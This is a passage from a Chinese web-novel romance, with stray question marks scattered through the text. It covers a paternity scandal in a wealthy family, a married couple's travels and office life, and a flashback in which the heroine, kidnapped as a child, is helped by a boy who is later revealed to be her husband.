纸张边缘被?攥破,池苍山颤抖的嘴唇发出一串嘶哑声音:“不必。” 他起?身走到田蕙云面前:“这件事?,你?还有什么要解释的?” 田蕙云偏过脑袋,一瞬间泪如雨下。 “你?告诉我,他是你?老家的表哥。”池苍山蛮力掰过她脸,逼迫她对视,“你?不仅跟他苟且,还敢带他堂而皇之地出现在我面前……” 咬牙切齿,怒气冲冠,他用力将她甩开?。 田蕙云向来优雅端庄的发髻,被?他一甩撞在实木茶几的角落,发夹掉了,头发也散了,脸上妆容被?眼泪晕花,毫无形象可言。 她苦笑两声,狼狈地仰头看向池苍山:“生气吗?体会到我的感受了吗?每次你?背着我去看那个?女人的时候,我也气得想?对你?发疯,可我不能。” “我知道?你?忘不了唐意,哪怕我骗你?上/床诱你?出/轨,你?离婚了也没有打算娶我,你?还想?着摆脱我,再?重新把她哄回来是不是?”田蕙云面容凄惨地仰靠在茶几边,没有力气,只是苍凉地望着他,“我不能让你?如愿,我必须得有个?孩子。” “池苍山,你?只不过替别人养儿子,可我整整二?十?四年,都在看着你?怀念前妻!” “你?扪心自问,你?对儿子又?付出过多少?除了给钱,你?还算得上一个?父亲吗?我的昭明变成现在这样,你?怎么没有责任!” “池苍山,我是你?明媒正娶的老婆,虽然当初结婚是我使了伎俩,可这么多年我对你?掏心掏肺,言听计从,你?却从来没有爱过我,只想?着那个永远不会再回头的女人……” 池靳予没想?掺和接下来的麻烦事?,这种狗血剧情,他只觉得头疼恶心。对余沭阳说了句“留下善后”,便先离开?了。 路过胡同口的花店,他买下一束康乃馨和一束红玫瑰。 车拐到唐意的小区,把康乃馨放在别墅门口的信报箱上。 他没有敲门,开?车折返,只是拿手?机发了两条微信语音:“给你?带了点?儿东西,在门口。” “我走了,不烦你?。” 唐意对池家一切的厌恶,他如今更能感同身受。 * 这些乌七八糟的事?儿,池靳予没告诉南惜。 他不会主动向她提起?池昭明,也不想?让这些恶心的人和事?影响她心情。 南惜知道?,还是和祁书艾在咖啡厅喝着拿铁时,祁书艾推了条新闻给她。 【惊天爆料!池家二?少爷并非亲生。】 “谁家敢玩这么大?卧槽,这不是八卦营销号啊。”祁书艾瞪大眼睛,再?三确认主页,是一个?主流媒体官方号,“这事?儿真?的?你?知道?吗?” 南惜从错愕中回神,摇了摇头。 “这上面说,池昭明是他妈妈和老家一个?青梅竹马的男人生的,卧槽……我眼睛瞎了。”祁书艾喝了一大口咖啡压压惊,“圈子里多久没出现这种狗血剧情了?顾家抱错孩子也没这么劲啊!田蕙云是个?什么奇葩?连这种事?儿都能干出来?让池苍山给别人养了二?十?多年儿子?她胆儿真?肥!” 祁书艾激动得停不下来:“心理素质到这境界,搞事?业不好吗?她做什么不能成功?!你?公?公?得气死?了吧,这还不离婚?” 南惜捧着杯子冷静道?:“应该是要离婚的。” 池苍山面子大过天,这么一顶绿帽,他肯定得摘得干干净净。 * 这场陈年荒唐事?,最终以池昭明被?赶出家门,池苍山和田蕙云离婚收场。 母子俩离开?池家时,什么都没带,池昭明仅有的一点?股份被?收回,彻底成了一条丧家犬。 而他的亲生父亲,叫了二?十?年表舅的男人,正在医院治疗肺癌。 池靳予这边,过完年,在准备带南惜去贝加尔湖的行?程。 当他把亲自做的旅游计划放到眼前时,南惜懵了。 这是去年拍婚纱照的遗憾,她想?去贝加尔湖看蓝冰,但那时已经没有蓝冰。 池靳予答应来年带她去,她并没有指望随口一句承诺,他都能记得。 “我们直接去奥利洪岛,那边已经安排好酒店,车子还有观光飞机,航线我也申请过了。如果你?想?亲自开?的话,记得把执照带上。”池靳予给她讲解完行?程,看着女孩抬头望着自己发呆的脸,宠溺地捏了捏,“怎么了?” 南惜怔然回神,勾住他脖子凑过去亲亲:“老公?最好,最爱你?了。” 男人低下头,低下声:“嘴这么甜,尝尝?” 南惜一声娇嗔还没完,就被?他压到沙发里。 不知道?池靳予给Eric添加了什么奇妙程序,只要他想?做什么,不需要指令,客厅所有窗帘都会自动合上。 她的脚一边在他后背划圈,娇软嗓音无意识地哼出来,脑袋里却还在想?着。 有时她的求知欲实在很执着。 男人惩罚似的用力,咬一口:“别走神。” 南惜同样的力道?回敬他,脚跟在他腰后碾:“你?没有叫Eric,为什么会关窗帘?” 池靳予笑了笑,原来她好奇这个?。 但他没有马上回答,话题好像就这么揭过,他也不再?给她走神的机会。 新买的抱枕一只被?踢到地下,一只垫高她的腰,还有一只,被?她枕着脑袋快要揪掉了流苏。 皱巴,凌乱,像散落在四周不停荡漾的青丝,被?人撞得可怜。 女孩哭音求饶的时候,他将她的腿压过头顶,唇贴到她耳畔: “我测过每次对你?动情的心率。” * 奥利洪岛的冬天是真?正的冰天雪地,整片贝加尔湖被?冰封,上面甚至可以开?越野车。 南惜怕冷,穿长款羽绒服都嫌不够,里面又?加一层羽绒内搭,裹得像一只企鹅。 但她依旧很灵活,练过舞蹈的平衡力惊人,在冰面上穿着普通的鞋子,也能像精灵一般旋转跃动。 池靳予拿着相机给她拍视频。 嶙峋的蓝冰被?白雪覆盖,像雕塑一样的天然艺术品绵延不绝,童话般的蓝色冰洞,冰面下雪白的小气泡,都是从没见过的壮观。 他们就像一对旅游中的普通情侣,女朋友负责玩,男朋友负责拍照。 走在裂纹的冰面上,南惜假装害怕,往他怀里钻,池靳予顺势搂紧她,拽下口罩,交换彼此呼吸的热度。 坐完雪橇车,南惜坐在休息区缓解振奋的心跳,池靳予去问当地人回酒店的路线。 手?机突然来了通陌生电话,她漫不经心放到耳边:“喂?” “好久不见。”对面是一道?熟悉又?讨厌的声音。 南惜不想?和他说话,正打算挂断,那人如嘲似讽地问她:“你?知道?我大哥,不,池家大少爷,有个?等了十?几年的女人吗?” 第78章 第 78 章 南惜微微一怔。 池昭明感觉到她情绪变化, 得意地继续:“他?惦记那个?女人十几年,等不到了?,所以才退而求其次娶了?你。” “那又怎样?池昭明, 你做这些真的很没劲, 谁还没有过去了??我的过去更不堪,跟你这种没品的货色纠缠了?二十年。”南惜冷呵一声?, “就算我信你鬼话,这重要吗?我跟他?已经结婚了?,并且很相爱,就像你,已经是一条丧家犬。” “在?不在?乎是你的事。”池昭明语气落下来, “我的确伤害过你,你当我良心发现也好,大?发慈悲也罢,只?是突然觉得你很可怜。” “南惜,你真的很可怜。” “我喜欢你, 但不是纯粹地喜欢你。他?就算爱你,也同样爱过别人, 甚至更爱。” 南惜不想再听一个?字,挂掉, 拉黑。 现在?的池昭明应该没钱再不停地换号码了?。 问好路线的男人回来,搂住她:“跟谁呢?” “推销电话。”南惜摁灭手机屏幕, “怎么去这么久?” “碰到一个?认识的人,聊了?几句。” “你在?这儿还有认识的人?” “之前的一个?客户, 也过来旅游。”池靳予看了?眼前方。 浅金发色的漂亮女人, 标准的俄罗斯五官,高鼻梁深眼窝, 个?子很高。 过来打招呼说?的是俄语。 南惜听不懂,只?能池靳予翻译,寒暄几句后觉得没什么意思,心情也不太好,于是保持礼貌的微笑和对方道别。 上车后,南惜一直看着他?开车。 池靳予原本没发现,直到被她盯得头皮发麻,才问:“看什么?” “没什么。”南惜转过头去。 男人一只?手伸过来,捏了?捏她的下巴:“有事儿跟我说?,别一个?人瞎琢磨。” 南惜抓住他?手,轻轻咬了?口指尖。 * 旅程三天,正月十五回京,当天晚上他?们在?龙湖吃饭。 婚后的节假日,总是池靳予跟她回家见父母更多。 祁景之嘲他?像个?上门女婿,池靳予只?笑不恼。 南惜不想回池家,他?更不喜欢,如今池苍山虽然孤家寡人,但也不寂寞,总有巴结他?的朋友今天请吃饭,明天请钓鱼,生活热闹得很。 池苍山这一辈子,成过大?事,也犯过错,甚至帮别人养过儿子。 男人的劣根性他?一点没少,总是得不到的在?骚动,最后依旧惦记着最初那个?,却两手空空。 池靳予不愿活成他?那样,也不想再参与他?。 他?更喜欢看南俊良和祁玥腻腻歪歪,打情骂俏,这才是正常夫妻该有的样子。 他?想,他?和南惜三十年后应该也会?是那样。 “错啦,唔系咁。”南俊良喝得有点多,大?着舌头,煞有介事地纠正他?粤语,“bb,声?低一点,温柔一点,你们北京人讲话调不对。” 南惜无语极了?:“爸,您教他?这个?干嘛?” “他?不标准嘛。”南俊良打了?个?酒嗝,“听着难受,我要给他?教好,以后多讲给你听。” “说?得没错,爸。”池靳予给他?倒酒,“您再多教点儿。” “俩痴线。”祁景之拍拍她肩膀,“别管他?们,出去放灯去。” 祁景之带着南惜和顾鸢,一群帮佣小姑娘在?院子里放孔明灯。 他?和顾鸢一起往灯罩上写愿望,南惜看不清写了?什么,但她从小到大?都没见过哥哥露出那么温柔的表情。 “看什么?羡慕?”有人在?她侧后方坐下,温热怀抱搂住她,“有什么好羡慕的?你老公更爱你。” 南惜笑着往后靠,偎进他?怀里。 “想写什么?”他?握住她迟疑很久的右手。 “不知道。”也许她实在?过得太舒坦,真没有什么心愿。 家人和睦,平安健康,过生日时都许过了?,许太多遍怕神明心烦。 “那我帮你写了?。”池靳予握紧她,快晾干的笔头重新沾了?遍墨,嘴唇轻吻在?她头顶发间,笔锋细腻而认真,落笔两行: 一天一天爱更痴 十万日後都愿意 孔明灯摇曳升空,低沉娓娓的粤语歌声?萦在?她耳边,一瞬间占满心头: “而你使?一天一天,甜甜丝丝, 一天一天爱更痴, 十万日後都愿意, 一样能共你相依。 如果我一天一天,重头开始, 今天今天我已知, 实在?若活多万次, 都愿仍与你,爱恋无数次。”① 他是报班学过了吗? 南惜溺在?他?磁沉的嗓音里,不止一遍的想,什么时候那个?连大?番薯都听不懂的男人,唱粤语歌发音这么地道了?。 连感情都很到位。 晚上开车回市区,车内也放着粤语情歌。 南惜侧头看了他一会儿,开口:“老公,我有话想问你。” 其实在?俄罗斯就该问了?。 她以前不是内耗的人,但这次池昭明的话,比起那些一眼假的照片明显更戳心。 她自己消化了?很多天,消化不掉,还是得问他?。 问他?才好,不会?有误会?。 池靳予认真看了?她一眼:“什么?” “你先停下车吧。” “好。”他?靠边停在?一块空地。 车灯照亮彼此的脸,目光显得格外?漆黑:“你以前,爱过别人吗?” 池靳予愣了?一下。 南惜又问他?:“你有没有什么爱而不得的白月光?” 他?望着她,眸色深到发光:“没有爱而不得,没那么严重。” 只?是亲眼看着她差点嫁给别人。 不过好事多磨,如今他?已经得到了?。 南惜心口酸了?酸,假装云淡风轻地问:“那你们还有见面吗?” “有。”他?一直盯着她眼睛。 她轻微哽声?:“如果我不准你们见面呢?” “不行。”他?态度很果断。 南惜扭头要下车,还没解开安全带,他?俯身,掰着 她下巴吻住她。 她一边挣扎一边捶他?肩膀,最后气不过咬他?一口。这一口使?出吃奶的劲,很快尝到咸腥味。 池靳予松开她,嘴角破皮渗血,狼狈却透着一抹妖异,像不知道疼,抵着她额头轻笑,哑声?:“我怎么能不见老婆?” 南惜怔住。 “没爱过别人,只?有你,老婆。”他?抬手捧住她脸,低头,让她唇角也染了?一丝血迹,“不准我和你见面,你是要我命吗?” “……”大?骗子,骗她生气浪费她感情,坏男人。 南惜故意在?他?伤处咬了?一口,这次却没有太用力。 唇上的血被她吃进去,她终于听到他?服软:“bb,我疼。” 跟南俊良进修之后,这两个?字被他?叫得格外?缠绵悱恻。 虽然往日在?那种情形下,只?要他?开口,怎样都是性感勾人。 南惜终究还是心软,没再火上浇油,放过他?受伤的唇,闷声?道:“说?谎天打五雷轰。” 男人无比恳切地补了?句:“说?谎断子绝孙。” “……”南惜眼皮一颤,四个?字像有了?实感,瞬间攥紧手指。 可以,你够毒。 * 南惜咬破他?嘴唇还是心疼,回到家亲自给上药。 可这人不听话,上完药又亲她,嘴角冒血也缠着她做了?两回。 半夜停歇,她没精力再给他?上药。 第二天早上醒来,池靳予嘴边结了?层痂,出门前南惜给他?补上一遍药,提醒他?午餐要吃清淡些。 池靳予搂住她:“想吃老婆做的。” 南惜:“我只?会?煮粥……” “那就喝粥。”他?俯身亲她,小心没把药沾到她脸上,“白粥就好,不用太复杂,别烫到自己,实在?不行叫崔姨来。” 南惜失笑:“那你叫我做,叫崔姨不就好啦?我做的又不好吃,你还说?不让我进厨房!” 男人略顿一秒,说?:“那让崔姨做好,你送到公司。” “……池总,您图什么?” “什么都不图。”他?笑了?笑,温柔又坦然,“想跟你撒娇。” “……”南惜嘴角弯起,哼了?一声?。 她腻腻歪歪送他?出门,从车窗递进去一只?口罩。 他?没有用。 昱臻科技从前台到各部门早八员工,到全体?总裁办秘书部,都看见总裁嘴角的伤口。 池靳予不遮不掩,大?大?方方给他?们看。 上午十点小休,技术部几名员工在?讲八卦。 “我猜就是被夫人咬的,什么东西过敏正好在?嘴边上?还上火?你们这帮小孩儿不要太单纯。” “没发现池总特?别爱炫夫人秀恩爱吗?什么情侣手表,夫人送的手串,夫人的发绳,还有几次,听说?他?脖子上顶着那啥就来上班。如果真是上火过敏什么的,他?高低不得戴个?口罩?这是明晃晃炫给我们看。” “不会?吧?夫人看起来挺温柔的。” “夫妻情趣,你懂个?屁。” 这人话音刚落,发现同事们都朝他?挤眼睛,没反应过来,情绪依然很激动:“我赌今晚加班,绝对是夫人咬的!” “想加班到几点?”身后一道凉飕飕的嗓音飘来。 穿格子衫的男员工僵在?原地,稀疏的头发都仿佛冻在?半空,不再跟着空调的暖风摇曳。 池靳予经过他?旁边时脚步稍顿,不带一丝情绪地开口:“猜的不错。” 然后径直走向总监办公室。 同天下午,公司更新的员工守则多出一条: 【维持家庭关系和谐,加强婚后道德约束,男员工不准惹老婆生气。家属投诉一次,罚奖金10%,上不封顶。】 第79章 第 79 章 南惜不过是去公司送个午饭, 有人还要求她穿情侣装出现。 她不喜欢去地库,拐弯太多?太烦,从来不允许停车的?写字楼门口为她破例。紫色的?劳斯莱斯闪灵拉风地刹停在台阶下, 驾驶座门打开, 白皙笔直的?双腿踩着米兰春季秀款的?晕染奶茶色绑带单鞋,轻盈落地。 咖色斜肩衬衫裙系了条黑色真皮腰带, 和男人的?皮带是同样logo。 池靳予今天穿的?也是咖色西服,站在台阶下等?她。 南惜的?车就停在这儿,偌大广场只停她一辆车,杵在公司门口,和她的?人一样张扬。 来往员工都会?回头多?看她一眼, 胆子大的?,叫一声夫人好。 南惜微笑回应,拎着保温盒走到男人身边。 池靳予旁若无人地搂住她腰,和她说话,眼底眉间?尽是宠溺。 “还没到夏天, 叫你不要露肩膀露腿了。” “你管我??” “哪儿敢,我?怕你着凉不舒服。” “我?还年轻呢, 又没有老寒腿,捂那么严实多?难看呀。” “好, 听你的?。” 他拿手机,把办公室温度调高。 一起等?电梯的?员工们?哪见过总裁这副样子, 原来他在老婆面前是言听计从的?贤夫形象。以为是夫人小鸟依人,没想到是总裁柔情似水。 震惊, 却不敢表现出来, 一个个眼观鼻鼻观心,偶尔偷瞄。 两人站在一起当真般配, 都是无可挑剔的?颜值,双倍养眼。 南惜在女生?中个子算高,但穿着高跟鞋也就到他肩膀,很和谐的?身高差。靠在他身边既不显得太娇气,也不会?过于高挑,有种?恰到好处的?柔婉。 两人穿着情侣装,牵着手,耳语绵绵,周围都染上恩爱黏糊的?气息。 有人从门口大大方方走进来,看了一眼,打招呼:“哟,池总早,夫人也来了?” 是技术部老大林高远。 池靳予点了下头:“林总,早。” 林高远望着他笑:“对了,下周春季运动会?池总要去吗?昨天我?和马总商量来着,今年是咱们?公司成立六周年,池总是不是该给?大家?鼓鼓劲儿?” 池靳予向来不爱参加这种?场合,就连每年年会?几乎都是让副总上台。 一时?间?,各种?复杂的?眼神看向林高远,无疑都在暗示他真勇。 往年运动会?池靳予连去都不去,年会?好歹还会?吃个饭,让他去运动会?还上台演讲,简直吃了雄心豹子胆。 一道清柔嗓音打破僵持的?气氛:“老公,运动会?是不是很好玩?” 那必然是好玩的?,只不过池靳予不爱玩。 往年谁请他都吃闭门羹,此刻却握着她手问:“想去?” 南惜望着他眨眨眼:“方便吗?” “有什么不方便的?。”池靳予笑了笑,回头看向林高远,“既然是六周年,开幕式你们?好好准备,到时?我?和夫人一起去。” 看着两人相携走进电梯的?背影,池靳予搂着自?家?老婆生?怕磕着碰着的?谨慎模样,一群人互相对视,八卦的?眼神飞起来。 想不到有朝一日,他们?眼高于顶不食烟火的?总裁也终于有人治了。 公司八卦群介绍悄悄被?改掉:夫人一句话,总裁跑断腿。 * 自?从池靳予回国接手恒硕集团,每年春秋两季都会?举办员工运动会?。 他亲自?执掌的?昱臻科技是主力。 那天南惜和他一起来,两人穿了情侣运动装,一套粉色,一套蓝色。 今年的?运动会?开幕式,竟然准备了七彩烟墙,沿着跑道,一排斑斓的?彩烟直冲云霄,从未见过如此盛景的?大家?都忍不住惊呼起来。 南惜兴奋得两眼发光,抓紧旁边人的?袖子:“老公,好漂亮。” 她没想过大白天也能放烟花。 “喜欢吗?”池靳予低声笑,“给?你准备的?。” 这是他特别让主办部门加的?节目。 六周年的?确该来点儿不一样的?,但他也有私心,最初萌生?这个想法时?,只是为哄她高兴。 运动会?项目很多?,除了常规项目,还有一些趣味项目,南惜这里走走那里看看,每样都觉得有意思。 经过篮球场时?,她拽了拽池靳予的?手:“你要不要去打篮球?” 男人没说话,她回过头,一脸期望的?表情:“想看你打篮球。” 见他好像不愿答应的?样子,南惜嘟起嘴巴,揭他老底:“薄慎说你很会?打篮球,还得过少儿组冠军。” “少儿组,那都多?少年了。”池靳予无奈笑了笑,摸她头,“合着现在薄慎说什么你都知道了是吧?” 南惜骄傲地哼了声:“迟早知道你所有的?小秘密。” 谁能想到薄慎也是个恋爱脑,祁书艾问两句,他一股脑全倒出来,有关池靳予的?,祁书艾会?当做笑话讲给?她听。 “算了,你不想去就不去吧。”南惜扭头往回走,表情不太高兴。 “不是不想去,去不了。”男人上前一大步,讨好地搂过她肩,低声解释,“腿受过伤,不能打球。” 上场是为了赢,如果束手束脚,不如不去。 他已经十几年没碰过篮球。 南惜心口猛一颤,想问,却没来得及开口,被?他搂到限时?仰卧比赛的?负责人面前。 “池总……”穿着红马甲负责项目登记的?员工瞪大眼。 “下一场什么时?候?我?报名?。” 南惜很喜欢单项第一名?的?奖牌,今年镂空樱花的?设计很好看,她一早就和池靳予说了。 他原本打算直接给?她弄一个,但好像凭本事?赢来的?,会?更有意义。 参赛人员躺在软垫上,由伙伴压着腿。 南惜担心得眉头紧皱:“你的?腿要不要紧……” 他说受过伤,她一下子就慌了,总觉得像个玻璃娃娃,都不太敢用?力。 “一分钟,没事?儿。”男人云淡风轻地安抚她,“你可以坐我?脚上。” 南惜坐上去,见他神色如常,才放心下来。 还没开始,大家?都在做准备。 池靳予双臂枕着脑袋看她。 他眉眼本就精致,蓝色运动装衬得他愈发年轻,一副松散闲适的?姿态,就像大学校园里,午后草坪上晒太阳的?帅哥学长。 她心口躁动,竟萌生?出几分情窦初开般的?少女心境,恍惚间?像回到十八岁,在最好的?年纪重?新遇到他。 好像有什么隐秘的?遗憾,在这一瞬间?烟消云散了。 但此刻不适合想太多?,她敛下心神,若无其事?地问:“你确定能得第一吗?” 男人眸色像洒了阳光的?碎金,望着她:“这项目比的?是腰力,你说呢?” “……”光天化日,南惜脸蓦地一红,用?口型骂他:“流氓!” 哨声后开始。 南惜是真的?很想赢那块奖牌,不自?觉观察周围的?对手,似乎没有比他快的?。 她稍稍安心,回过头,那瞬间?坐起来的?男人亲了一口她的?唇,用?眼神告诉她:“看我?。” 身后记录员都在笑,南惜羞赧地瞪他。 后面他更过分,每坐起来,都要亲一下。 即便这样还得了第一。 闭幕时?,两人上台领奖,池靳予亲手把镂空樱花的?粉色奖牌挂到她脖子上。 但他没有要奖金。 而是自?掏腰包一百万,分给?所有参加运动会?的?集团员工。 南惜只是在宣传册上看见这枚奖牌,特别喜欢,没想到到手的?质感也超出预期。 奖牌下还缀着一圈水滴状的?粉色樱花瓣,一吹,像风铃一样清脆的?响。 “你们?公司挺会?设计的?嘛。”南惜爱不释手,拍了一箩筐照片发到朋友圈炫耀: 【老公赢给?我?的?大漂亮!】 池靳予开着车,笑了笑:“往年还有一些不错的?设计,我?让他们?拿给?你看。” 南惜:“我?要是打工人,也愿意去你公司。” 这福利待遇,情绪价值和人文关怀,比多?少只顾着压榨剥削的?企业都好太多?。 南惜虽然不工作,但也能在网上看见如今这个社会?打工人的?怨声载道,多?少人把自?己嘲作牛马,甚至连牛马都不如。 大西北的?牛马,可是能在午后舒服地躺在草原上晒太阳的?。 运动会?玩了一天,尽兴后南惜才感觉到小腿酸,虽然她没参加什么项目。那么大操场,光顾着看热闹一圈圈也没少跑。 公司聚餐他们?俩没去,最近开春,南惜想给?家?里摆设换换风格,往年云宫的?装饰也是一季一换,春夏秋冬都要不同的?味道。 约了一个软装搭配师一起吃晚餐,顺便聊一聊方案。 南惜要求多?,想法层出不穷,聊到晚上九点半才回去。 那会?儿小腿都快僵了,坚持着瘫到客厅沙发上,向池靳予嘟哝:“老公,什么时?候Eric可以给?我?端茶送水就好了。” 男人在茶水台给?她泡了杯燕麦奶,端过来:“在Eric升级新功能前,你可以先使唤老公。” 南惜“噗嗤”笑开。 自?从这家?里有了女主人,Eric的?功能越来越丰富,如果机器人有思想,大概也会?觉得自?己越来越像一只不堪重?负的?牛马。 但池靳予对它很人性化,定期清洁洗澡,更换零件,自?从南惜把它当宠物狗玩,偶尔出门露营还带它一起旅游。 谁家?机器人有这待遇? 南惜喝完奶,把杯子递给?池靳予,双腿放到他腿上:“老公揉揉。” 池靳予揉了片刻,将她从沙发上抱起来:“累了就早点儿休息。” 南惜一慌:“你腿受过伤,别……” 她再瘦也有九十来斤,以前不是没抱过,可如今她知道了,没办法再心安理得。 “放心,抱你没问题。”如果连老婆都不能抱,他大抵就是个废人了。 池靳予一边抱着她进电梯,一边意味深长地望着她眼睛:“肚子里再揣一个也没问题。” “……” 第80章 第 80 章 这一年春天, 池靳予的别墅终于被换上一身清新的浅色搭配。 南惜不喜欢他那黑白灰配色很久了,虽然偶尔会买点花回来点缀,沙发抱枕和?部分?软装也换了亮色, 但大部分?色彩还是偏重?。这次彻底改造后, 看上去总算温暖多?了。 有几个柜子和?博古架还略显空荡,她?仔细思忖过后, 给正?在开会的池靳予发信息: 【老公,我能不能去藏宝阁找点东西出来放?】 【我想挑两只花瓶~还有香炉什么的。】 虽然池靳予从不对她?设防,这个家哪里都能随便去,连改造都全由她?性子,但她?知道藏宝阁里都是价值连城的宝贝, 总要?和?他说一声。 之前她?暗自比较过她?和?池靳予谁更有钱,但得知他藏宝阁的含金量后,老实了。 她?的钱都用来销金享乐,人家是买古董增值,这思想不在一个level上, 活该他富可敌国。 老公:【去吧,密码你知道。】 当初带她?熟悉这个家时, 池靳予已经告诉她?密码,还给她?录了指纹和?面容。 藏宝阁位置很隐蔽, 入口是一扇隐形门,在负一层楼梯的装饰油画旁。 往前一推, 再转弯,是一道银行级别的防盗门。南惜输入密码, 核验指纹, 面容,三次通过才打开。 藏宝阁门口有一排安全座椅, 这间房从建造时就用料特殊,如果遇到地震火灾或洪水,还可以?作?为避难间使用。 据说就算一个城市全塌掉,这里都不会塌。 听上去离谱,但不知道为什么,她?相信是真的。 古董室她?不是没见过,南俊良也有收藏古董,可这种像博物馆一样面积又大,又琳琅满目的古董收藏间,着实让她?忍不住心情激荡。 更何?况她?知道,这里每一件价值都不菲。 南惜不喜欢太厚重?的颜色,挑了两只冰裂纹青瓷花瓶,一只圆形,一只细长颈。 又挑了一只造型精致的青铜兽首炉,和?一只彩色琉璃博山炉。 最近买了一堆花香香粉,打香篆她?实在学不来,她?不是那么静心细致的人,倒想用博山炉熏塔香,那个简单。 只是不知道她?用这天价古董炉子熏香,池靳予会不会太心疼。 把挑好?的东西放到门口,她?想继续逛逛这藏宝阁,看他到底有多?少宝贝。 快要?走完陈列架时,突然看见一个雾面水晶盒,在那些沉稳庄重?的古董中间十分?显眼。 水晶盒上似乎有个按钮,她?一时好?奇,按了下?去。 模糊的雾面水晶瞬间变成透明水晶,挂在里面的东西跃然眼帘。 南惜呼吸停滞,脑袋里嗡嗡作?响。 全世界仅此一颗的翡翠,曾经被她?反复摩挲过,后来却只能从梦里见到的平安锁,就安静地在这里沉睡。 它还是那么亮,那么精致无瑕,好?像从未经受岁月磋磨,隔绝了一切惊扰。 那抹绿色钻入她?眼睛,像湖水汹涌,冲刷,将?尘封已久的记忆又变得清晰。 五岁的南惜被绑架过一次。 那时和?爸妈到市区一个朋友家做客,和?一群同龄伙伴在院里玩捉迷藏。 年纪小,没什么警惕心,捉迷藏总怕被找到,只知道越躲越远,后来甚至跑出了院子。 一股奇怪的气味将?她?迷晕,醒来时已经被绑住手脚,布团堵着嘴巴,困在麻袋里。 等到重?见天光,首先映入眼帘的是一个小哥哥。 第一眼她?把他认成了自己哥哥,那件针织外套祁景之也有,可往上看,是截然不同的另一张脸。 祁景之的桃花眼总让人觉得玩世不恭,但这个人,深沉的棕色眸子望不到底,虽然五官精致漂亮,却透着股死气。 他一动不动地靠在墙角,撩她?一眼,面无表情地低下?头。 南惜手脚的绳子被解开,然后被推过去,差点撞到他。 倒地时手按在他腿上,听见一声隐忍的闷哼。 人贩从外面锁上门,屋里顿时昏暗下?来,连扇窗户都没有。 但外面是白天,门缝漏光,还能看清楚。 她?小心翼翼地把手缩回来,不敢回忆刚才按上去的触感。 他的腿……骨头好?像是断的。 南惜不太确定,下?意识把手再伸过去,旁边传来一道冰冷嗓音:“别动。” 她?瞬间好?像被冻住,僵硬的手缩回来,整个人也缩到旁边。 这件事?太过冲击,她?一时间甚至无暇关心自己的处境,盯着他的腿看了很久。隔一会儿又看他的脸,心想为什么会有人一直不吭声,他不难受吗? 直到天慢慢黑了,她?对这个陌生房间开始本能的害怕。 她?终于意识到自己回不了家了,见不到爸爸妈妈,也见不到哥哥了。 虽然哥哥很讨厌,但也比这个连话都不和?她?讲的大冰块子强。 入夜后,房间越来越冷,南惜也越来越困,靠着墙撑不住睡过去。 醒来时身上好像披着什么,背后不是坚硬的墙壁,她?摸了摸,柔软的针织触感。 南惜想起大冰块子那件和?哥哥一模一样的针织外套,心脏腾起一阵说不清楚的感觉。 旁边有热源,在伸手不见五指的黑暗中,她?迷迷糊糊地靠拢。 早晨屋里又有了亮光。 新的一天,五岁的小南惜无比惆怅地从门口折回来。 喊了很久都没有人应,昨晚她?没回家,爸妈和?祁景之一定都急坏了,不知道能不能找到她?,救她?回去。 还有这个哥哥…… 南惜抬头望向坐在墙角一动不动也不吭声的少年。 昨夜他把衣服给她?穿,还让她?枕着肩膀睡了一夜,南惜心里对他的称呼已经从大冰块子变成了哥哥。 他身上很暖,一点都不冰。 “哥哥,你什么时候来这里的?”南惜蹲在他旁边问。 “哥哥,他们要?把我们卖掉吗?” “哥哥……” 对方不说话,她?就一直叽叽喳喳。 直到他似乎被她?烦到,幽深的眸望向她?说:“他们会先向你家人要?钱,要?不到就打断腿,或者断手,或者戳瞎,逼着你去乞讨。” 南惜整个人颤了颤,望向他断了骨头的双腿:“那你的家人……” “他们给钱了。”少年语气毫无波澜,“但是报警了。” 所以?人贩不会再给机会,直接打断他的腿。 南惜还没有从惊惧中回神,木门突然被推开。 来的不是昨天掳她?的清瘦人贩,是个胖子,端着两只破碗放到他们俩面前:“吃饭了。” 南惜远远就闻到馊味,嘴巴一扁,受不了委屈的小公主嫌弃得很大声:“臭的!怎么吃啊!我不吃米饭!要?吃意大利面!” “呸!小女表子还蛮挑剔,有的吃就不错了!”胖子瞟她?一眼,目光忽然盯住她?领口,“哟,这玩意儿瞅着值钱。” 说完直接把平安锁从她?脖子上拽下?来。 南惜又哭又叫,把胖子的手咬出血,胖子爆了句粗口,将?她?蛮力甩开。 差点头撞到墙上的南惜被少年拽了一把,跌进?他怀里。 可他只能帮她?这一点点。 刚才他试图挪动,双腿却像被焊死在地面上。 胖子拿着平安锁心满意足地走了,留下?五岁的南惜拍着门嚎啕大哭:“坏人!你把我的锁还给我!呜呜呜……坏人……” 哭累了,她?终于听到身后少年略沉也略柔的嗓音,像在安抚她?:“别哭了,省点力气逃跑。” “我们能逃跑吗?” “……能。” 南惜信了他的话,回到他身边坐着,但时不时想到她?的平安锁,又扁嘴要?哭。 少年转移她?注意力,问她?叫什么名字,几岁,家在哪里,爸爸妈妈做什么。 南惜一股脑说了很多?,还说自己在幼儿园的儿童节晚会得了唱歌第一名。 他要?她?唱给他听。 五岁的南惜已经会唱很多?歌,从《虫儿飞》到《两只老虎》,英文?歌,和?一首粤语《点心歌》。 少年似乎听不懂粤语,但望着她?的眼神很亮,在听她?唱歌的时候,那股沉沉的死气才仿佛消散了些。 两人一起被关了许多?天,总是南惜叽叽喳喳,少年看着她?讲话,听她?唱歌。 晚上睡觉前,她?还会给他唱《月光光》,小时候奶奶哄她?睡觉的歌。 直到有一天早上,少年将?她?从睡梦中摇醒。 南惜迷迷糊糊听见他低声说:“今天胖子去村里偷粮,一会儿瘦子来送饭,外面没人,我会抓住他。” “你出了院子往前跑,不要?回头。” 南惜眼睛一阵热,忍不住要?哭:“你不跑吗?” “我怎么跑?”他看了眼自己的腿,唇角轻勾,眼底却夹着某种痛意,“有点远,不要?停,如果累了就找地方躲一下?,天黑前能到县城。” “然后去派出所找警察叔叔,知道吗?” “我找警察叔叔来救你……” 少年目光微动,望着她?笑了笑:“好?。” 这一声“好?”,她?以?为她?真的能救他。 可当她?满身狼狈地跑到县城派出所,把一切都告诉警察叔叔,等了一夜,却等来人去楼空的消息。 她?一直以?为少年要?么死掉了,要?么就像他说的那样,被砍去手脚,或戳瞎双眼,成了那些人贩赚钱的工具。 她?以?为再也见不到他。 却没有想过,两人竟然会这样重?逢。 她?想起他背上的疤痕。 想起他说他的腿受过伤。 想起十多?岁时,他也曾经被人贩绑架过…… 还有很多?很多?。 第一次醉酒将?他错认的幻觉,他身上那抹熟悉的味道,明明那么久远,梦中却频繁再现的回忆…… 她?早该领醒悟这一切并非巧合,或许她?挂念的人早已回到她?身边。 大片沉重?的回忆压得她?几乎窒息。 